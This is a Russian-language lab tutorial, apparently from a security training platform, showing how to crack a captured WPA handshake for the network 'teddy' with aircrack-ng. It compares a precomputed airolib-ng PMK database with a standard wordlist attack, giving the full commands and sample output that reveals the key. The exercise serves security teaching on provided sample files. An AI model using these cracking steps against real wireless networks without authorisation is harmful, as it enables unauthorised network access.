Введение
При взломе WPA/WPA2-хендшейков с помощью aircrack-ng стандартный метод включает тестирование каждого пароля из списка слов (wordlist). Для каждого пароля aircrack-ng должен вычислить Pairwise Master Key (PMK) и сравнить его с захваченным хендшейком. Этот расчет "на лету" может занимать много времени, особенно при работе с большими списками слов.
Инструмент airolib-ng предлагает мощную оптимизацию. Он позволяет предварительно вычислить все PMK для конкретной сети (ESSID) и заданного списка слов, сохраняя их в базе данных. Когда вы запускаете атаку, aircrack-ng может использовать эту базу данных для простого поиска PMK вместо их вычисления, что приводит к значительному увеличению скорости взлома.
В этой лабораторной работе вы научитесь использовать готовую базу данных airolib-ng для взлома WPA-хендшейка и сравните ее производительность со стандартной атакой на основе списка слов.
Захват WPA-хендшейка для ESSID из вашей базы данных
На этом шаге мы проверим предоставленный файл захвата, чтобы убедиться, что он содержит действительный WPA-хендшейк. Для этой лабораторной работы файл с именем wpa.cap был помещен в ваш каталог ~/project. Этот файл содержит захваченный четырехсторонний хендшейк для сети, которую мы будем атаковать.
Давайте используем aircrack-ng для просмотра содержимого этого файла. Эта команда не запускает атаку; она просто анализирует файл и показывает сводку обнаруженных в нем сетей.
Выполните следующую команду в вашем терминале:
aircrack-ng wpa.cap
Вы должны увидеть вывод, перечисляющий беспроводные сети, найденные в файле захвата. Обратите внимание на ESSID (имя сети) и подтверждение того, что хендшейк был захвачен.
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
(press CTRL+C to abort)
Вы можете нажать CTRL+C, чтобы выйти из приглашения aircrack-ng. Важная информация заключается в том, что у нас есть хендшейк для ESSID teddy. Это сеть, которую мы будем атаковать.
Формирование команды aircrack-ng для атаки
На этом шаге мы начнем формировать команду aircrack-ng для нашей атаки. Базовый синтаксис для WPA-атаки: aircrack-ng [options] <capture file>.
Чтобы сделать атаку более эффективной, особенно когда файл захвата содержит несколько сетей, мы можем указать нашу цель с помощью параметра -e, за которым следует ESSID. Исходя из предыдущего шага, наша целевая ESSID — teddy.
Добавим это в нашу команду:
aircrack-ng -e teddy
Эта команда еще не завершена. aircrack-ng по-прежнему нужно знать, откуда брать пароли или PMK для проверки. При стандартной атаке мы бы использовали флаг -w для указания списка слов (wordlist). Однако для этой лабораторной работы мы будем использовать нашу предварительно вычисленную базу данных airolib-ng. Параметр для базы данных мы добавим на следующем шаге.
Указание базы данных с помощью параметра -r
На этом шаге мы завершим формирование нашей команды, указав aircrack-ng использовать базу данных airolib-ng. Параметр для этого — -r (что означает "read database" — читать базу данных).
В процессе настройки этой лабораторной работы в вашем каталоге ~/project была создана база данных с именем mydb. Эта база данных содержит предварительно вычисленные PMK для ESSID teddy и пароли из wordlist.txt.
Теперь давайте объединим все части: команду aircrack-ng, целевую ESSID (-e teddy), базу данных (-r mydb) и файл захвата (wpa.cap).
Финальная команда выглядит так:
aircrack-ng -e teddy -r mydb wpa.cap
Эта команда предписывает aircrack-ng:
- Целиться на сеть с ESSID
teddy. - Использовать предварительно вычисленные PMK из базы данных
mydb. - Проверить эти PMK на соответствие хендшейку, найденному в
wpa.cap.
На следующем шаге мы выполним эту команду и посмотрим на результаты.
Запуск атаки и наблюдение за скоростью взлома
На этом шаге пришло время запустить атаку, используя нашу полностью сформированную команду. Поскольку мы используем предварительно вычисленную базу данных, мы ожидаем, что процесс взлома будет чрезвычайно быстрым.
Выполните следующую команду в вашем терминале:
aircrack-ng -e teddy -r mydb wpa.cap
Программа запустится, откроет базу данных и файл захвата, и почти мгновенно найдет правильный ключ.
Ваш вывод должен выглядеть примерно так:
Opening mydb
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening mydb
Attack will be restarted every 5000 PMKs.
Starting attack on ESSID teddy...
KEY FOUND! [ biscotte ]
Master Key : 45 45 79 A2 25 5D F9 5A 47 2B 1E 15 7E 22 38 84
...
Transient Key : 82 2A 8F 85 42 29 A2 1A 29 69 F1 25 2B 23 4C 78
...
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Обратите внимание, как быстро появилось сообщение KEY FOUND!. Пароль — biscotte. Поскольку PMK уже были вычислены и сохранены в базе данных mydb, aircrack-ng пришлось выполнить только быстрый поиск и сравнение, а не интенсивные криптографические вычисления.
Сравнение производительности со стандартной атакой по словарю
На этом шаге, чтобы в полной мере оценить скорость метода базы данных airolib-ng, мы выполним ту же атаку, используя традиционный метод словаря. Это позволит нам наглядно увидеть разницу в производительности.
При стандартной атаке мы используем параметр -w для указания файла словаря. Затем aircrack-ng будет читать каждый пароль из файла, вычислять его PMK и тестировать.
В процессе настройки для этой цели был создан файл с именем wordlist.txt. Давайте запустим атаку, используя этот файл.
Выполните следующую команду:
aircrack-ng -e teddy -w wordlist.txt wpa.cap
Вы увидите, как aircrack-ng запускается и начинает тестирование ключей. Обратите внимание на отображение статуса, которое показывает количество протестированных ключей и текущую скорость в ключах в секунду (k/s).
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa.cap
Opening wordlist.txt
Reading passwords from wordlist.txt
[0:00:00] 2 keys tested (XXXX.XX k/s)
KEY FOUND! [ biscotte ]
Master Key : 45 45 79 A2 25 5D F9 5A 47 2B 1E 15 7E 22 38 84
...
Transient Key : 82 2A 8F 85 42 29 A2 1A 29 69 F1 25 2B 23 4C 78
...
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Хотя ключ все еще находится быстро, поскольку наш словарь очень мал, обратите внимание, что был измеримый процесс тестирования ключей. С большим словарем, содержащим миллионы паролей, этот процесс занял бы значительное количество времени. Атака с использованием базы данных, напротив, была почти мгновенной, поскольку вычислительно затратная часть уже была выполнена.
Итоги
В этой лабораторной работе вы успешно взломали WPA-хендшейк, используя предварительно вычисленную базу данных airolib-ng. Вы научились формировать команду aircrack-ng с использованием параметра -r для указания базы данных и наблюдали ее практически мгновенную производительность.
Сравнив это со стандартной атакой по словарю с использованием параметра -w, вы стали свидетелями значительного преимущества в скорости предварительного вычисления PMK. Этот метод бесценен для специалистов по безопасности при нацеливании на конкретную сеть с большим словарем потенциальных паролей, поскольку он разделяет трудоемкую фазу вычислений и финальную фазу взлома.
